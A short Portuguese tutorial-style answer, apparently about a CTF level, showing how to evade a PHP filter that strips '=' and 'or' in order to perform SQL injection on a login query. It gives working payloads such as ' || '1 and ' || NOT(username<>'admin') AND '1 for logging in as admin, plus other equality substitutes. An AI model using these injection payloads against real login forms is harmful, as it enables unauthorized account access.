Mysql
 sql >> Base de Dados >  >> RDS >> Mysql

Injeção de SQL com filtragem de php


Assumindo esta definição de lvl2_filter , que basicamente remove qualquer ocorrência de = e or até não ser mais encontrado, ainda deve ser possível usar o operação OR lógica com || em vez de OR e uma expressão simples que é avaliada como verdadeira como:
username: dummy
password: ' || '1

Isso resultaria em:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Para selecionar um usuário específico, pode-se usar as regras de álgebra booleana , onde x=y =!(x!=y) :
username: dummy
password: ' || NOT(username<>'admin') AND '1

Isso resultaria em:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Aqui <> é equivalente a != mas não contém um = .

Existem também outras operações que podem ser usadas para garantir nome de usuário igual a admin :
  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END